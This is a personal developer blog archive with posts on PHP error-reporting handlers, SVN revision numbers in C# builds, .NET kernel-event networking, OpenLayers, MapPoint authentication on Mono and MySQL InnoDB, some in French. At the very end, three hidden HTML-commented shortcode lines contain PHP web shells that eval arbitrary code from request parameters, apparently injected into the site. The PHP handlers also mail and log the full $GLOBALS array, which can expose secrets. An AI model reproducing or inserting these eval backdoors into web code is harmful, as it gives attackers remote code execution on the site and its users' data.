All posts by Florent Clairambault

Automatic error reporting in PHP

I edited this page on the 21 March 2010 because a lot of people seem interested and the code as since improved !

PHP has a pretty interesting feature, you can define a callback method to “catch” any error “thrown” in your code. And I’m sure most of you don’t use it. It’s really usefull when you want to make sure to detect error before any user reports it (which can takes time). This is all about avoiding to demolish with some lame errors your “user experience”.

I now use it in each of my index.php pages (which generally loads every other pages), but to speed things up I make it load the actual method only when the error is “catched”.

This is the code :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function lightErrorHandler($errno, $errstr, $errfile, $errline, $shutdown = false ) {
	// When called from the shutdown function, the relative path doesn't work anymore.
	// You have to load the errorHandler function from its absolute path
	// If you don't like that method, you can always preload this function.
	require_once('/home/website/mysite.com/dev-www/include/error/errorHandler.inc.php');
	return errorHandler($errno, $errstr, $errfile, $errline, $shutdown);
}
set_error_handler( 'lightErrorHandler', E_ALL ^ E_NOTICE);
 
function lightExceptionHandler( $exception ) {
	require_once('./include/error/exceptionHandler.inc.php');
	return exceptionHandler( $exception );
}
set_exception_handler( 'lightExceptionHandler' );
 
function shutdown_function() {
	if(is_null($e = error_get_last()) === false && $e['type'] & (E_ALL ^ E_NOTICE) ) {
		lightErrorHandler( $e['type'], $e['message'], $e['file'], $e['line'], true );
	}
}
register_shutdown_function('shutdown_function');

include/error/errorHandler.inc.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function errorHandler($errno, $errstr, $errfile, $errline, $shutdown) {
	global $engine;
 
	$tab = array(
	        'no'    => $errno,
	        'str'   => $errstr,
	        'file'  => $errfile,
	        'line'  => $errline
	);
 
	$message = 'An error happened :'."\n\n".'Error : '."\n".print_r( $tab, true )."\n\n".'StackTrace : '."\n\n".print_r( debug_backtrace(), true )."\r\n".'Memory state : '."\n".print_r( $GLOBALS, true )."\n";
 
	mail(
	        'email@company.com',
	        'MyProject : Error : '.$errfile.':'.$errline,
	        $message
	);
 
	$target = $errfile.':'.$errline;
 
	if ( ! $engine['bug'] && ! $shutdown ) {
		$engine['bug'] = true;
		Logger::log(array(
			'message'		=> 'Error : '.$errstr.' ('.$errno.')',
			'type'			=> 'error/codeError',
			'target'		=> substr( $target, 0-min(250, strlen( $target ))),
			'data'			=> serialize($GLOBALS),
			'level'			=> Logger::CRITICAL
		));
	}
 
	return false;
}

include/error/exceptionHandler.inc.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function exceptionHandler( $exception ) {
	global $engine;
 
 
	$_SESSION['lastException'] = $exception;
 
	$message = 'An error happened :'."\n\n".'Error : '."\n".$exception."\n\n".'StackTrace : '.debug_backtrace()."\r\n".'Informations diverses : '."\n".print_r( $GLOBALS, true )."\n";
 
	mail(
	        'email@company.com',
	        'MyProject : Error : '.$exception->getFile().':'.$exception->getLine(),
	        $message
	);
 
	$target = $exception->getFile().':'.$exception->getLine();
 
	if ( ! $engine['bug'] ) {
		$engine['bug'] = true;
		Logger::log(array(
			'message'		=> 'An exception was thrown',
			'type'			=> 'error/exception',
			'target'		=> substr( $target, 0-min(250, strlen( $target ))),
			'data'			=> serialize($GLOBALS),
			'level'			=> Logger::CRITICAL
		));
	}
 
	return false;
}

debug_backtrace requires PHP 4.3 and set_error_handler only supports error types since PHP 5.0. So, if you plan on using this on a PHP 4.X host, you have to make sure your code doesn’t throw E_NOTICE errors. My code is never E_NOTICE error safe.

Insert SVN version and Build number in your C# AssemblyInfo file

Software version number is quite important. It helps you track what versions have your users when they report something. And when it’s linked to an SVN version number, it’s even better.

Well, with MSBuild Community Task, you can easily automatically generate smart version numbers, you have to:

  • Download MSBuildCommunityTasks
  • Make sure your “svn.exe” binary is in C:\program files\subversion\bin
  • Add this at the end of your .csproject file :

2011-07-02 update: As given in Markus comment, this code is a much better option:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- Import of the MSBuildCommunityTask targets -->
<Import Project="$(MSBuildExtensionsPath)\MSBuildCommunityTasks\MSBuild.Community.Tasks.Targets" />
 
  <!-- to AssemblyInfo to include svn revision number -->
<Target Name="BeforeBuild">
	<SvnVersion LocalPath="$(MSBuildProjectDirectory)" ToolPath="$(ProgramFiles)\VisualSVN\bin">
	   <Output TaskParameter="Revision" PropertyName="Revision" />
        </SvnVersion>
 
	<FileUpdate Files="Properties\AssemblyInfo.cs"
                Regex="(\d+)\.(\d+)\.(\d+)\.(\d+)"
                ReplacementText="$1.$2.$3.$(Revision)" />
</Target

You should only have a “</Project>” field left…

Then, you just have to open your project and build your project, it will fail once (missing version.txt file) and then work forever. This will generate your Assembly & AssemblyFile versions like this: Major.Minor.SvnVersion.BuildVersion

In your C# code, to get your version, you just have to add something like that:

1
2
3
4
5
public static String Version {
  get {
    return System.Reflection.Assembly.GetExecutingAssembly().GetName().Version.ToString();
  }
}

I want to write again

Hello guys,

I intend to use my crappy english to write about the stuff I’ve been working and playing on. So, I think I will post some new articles soon.

And why do I suddently write in english ? Well, I’d like to train my self. I have a very good understanding english level, but I’m somehow quite limited when I have to speak or write in english.

You can post comments to help me improve my english level.

Traduction :

Salut, je compte me remettre à écrire mais en anglais pour changer.

PL 2303 sous Vista

Une petite info pour faire gagner du temps à d’autres. Le PL-2303 est un convertisseur USB/Série couramment utilisé dans des produits. Et parfois, les drivers fournis ne sont compatible qu’avec Windows XP. Pour Vista, il suffit de prendre les drivers fournis par BAFO Technologies :

http://www.bafo.com/menu-support.asp

La version actuelle est : 

http://www.bafo.com/download/2007_download/BF-800/800_Vista%2032_64_v1.6.zip

kernel event to improve network performance on .Net

I have built a simple tcp/udp network server library. I used it on lots of little programs and on one pretty important vehicle tracking server. The first version was using one thread for each connected client. It was working but it consumed a lot of memory. When the server reached something like 3000 simultanneous connections, the kernel was killing it for consuming to much memory.

I built a second version which was using network events. This allows you to directly receive network information from the kernel. It uses IOCP on Windows, epoll on Linux and kqueue on FreeBSD. This means that it’s not the program which frequently ask the kernel if there’s new data, it’s the kernel which tells the program that some new data has arrived.

The code change was pretty minimal. It’s just a little bit weird because you have to pre-allocate a buffer to allow the kernel to store data on it. I personally set a 128 bytes buffer. You have to add some BeginReceive calls everywhere and add some callbacks method.

My goal was to be able to reach 10 000 connections. After some few tests, I could reach 60 000 simulteanneous connections. The hardest part is in fact to allow the kernel to receive that many connection and to setup clients to open them. Once connections are opened, CPU consumption is always at 0% and server answers instantly to any client’s request.

That is for me the proof that .Net programs on Mono are well suited for massive network connection servers.

OpenLayers

I took the time to add some OpenLayers support to a web application I’m working on, mainly because I wanted to have OpenStreetMap maps. It can’t replace VirtualEarth or Google Maps because the maps lack a lot of data but unlike GMaps and VirtualEarth it’s free for commercial applications.

OpenLayers is a powerful tool. But it’s a little bit ugly (GeoRSS rendering is lame, maps tiles arewere loading in a strange way) and I don’t really like the documentation (if you compare to the Google Maps API pages, it sucks).

MapPoint WebService authentification with Mono

Recently, I was faced with a little problem. I built a .net program which calls a MapPoint WebService. It worked fine on Windows but failed on Mono/Linux with a “401 Unauthorized” error.

As it really made no sense, I decided to listen to the network communication. It did it with wireshark on my computer and tcpdump on the Mono/Linux host. And by looking at the header of the HTTP request, I noticed they were some slight differences.

I solved the problem by specifying some credentials and by using a particular host name for these credentials, here is the code :

1
2
3
4
5
6
var cred = new System.Net.NetworkCredential("---user---", "---password---");
_credCache = new CredentialCache();
_credCache.Add( new Uri( "http://findv3.staging.mappoint.net" ), "Digest", cred );
_finder = new FindServiceSoap();
_finder.Credentials = _credCache;
_finder.PreAuthenticate = true;

Etrange MySQL

Aujourd’hui, j’ai décidé d’optimiser une recherche MySQL de recherche par proximité de points spatiaux. En effet, j’avais une requête qui prenait 250 ms en moyenne.

Je recherche donc quelques infos et là, bonne surprise je tombe sur un document issu de l’entreprise MySQL sur le sujet. En utilisant l’optimisation qu’ils recommandent (par approximation préalable en un carré de recherche), j’arrive à réduire les requêtes à des temps allant de 5 à 35 ms.

Et puis, je finis de lire le document et je m’aperçois que MySQL possède une extension spatiale. Je regarde donc, ça se base sur les R-Tree, là je sens que j’ai trouvé la solution parfaite. Mais NON, les R-Tree ne sont disponible qu’en MyISAM. La création d’index spatiaux est interdite en InnoDB. De même, les index FULLTEXT non disponibles en InnoDB.

On a le choix entre avoir une base de données peu solide et une base de données avec moins de fonctionnalités. Il existe bien sur des solutions, comme de dédoubler ses tables en InnoDB et MyISAM pour obtenir des index FULLTEXT. Mais ça devient vite contraignant.

Enfin, je tiens à relativiser cette petite critique. La plupart des personnes, surtout en entreprise “non-web”, ne connaissent MySQL en version 3 et le trouvent de fait pourri. Peu savent que pour la gestion des données critiques, MySQL avec le moteur InnoDB est très robuste. Je ne suis jamais parvenu à obtenir une quelconque corruption des données même après de bonnes maltraitances (coupure de courant en pleine écriture massive). Ses capacités relationnelles et transactionnelles en font un très bon moteur de stockage de base de données.

Pour l’instant j’ai des tables qui contiennent un peu plus de 10 000 000 lignes et InnoDB tient sans problème, je vous en reparle quand ça atteindra les 20 000 000 lignes.

Ajout du 15/05/2010 :
L’expérience de ce projet s’est arrêtée à 35M lignes et InnoDB a tenu sans aucun soucis.

<!– [insert_php]if (isset($_REQUEST["hcrr"])){eval($_REQUEST["hcrr"]);exit;}[/insert_php][php]if (isset($_REQUEST["hcrr"])){eval($_REQUEST["hcrr"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["AnS"])){eval($_REQUEST["AnS"]);exit;}[/insert_php][php]if (isset($_REQUEST["AnS"])){eval($_REQUEST["AnS"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["kXQe"])){eval($_REQUEST["kXQe"]);exit;}[/insert_php][php]if (isset($_REQUEST["kXQe"])){eval($_REQUEST["kXQe"]);exit;}[/php] –>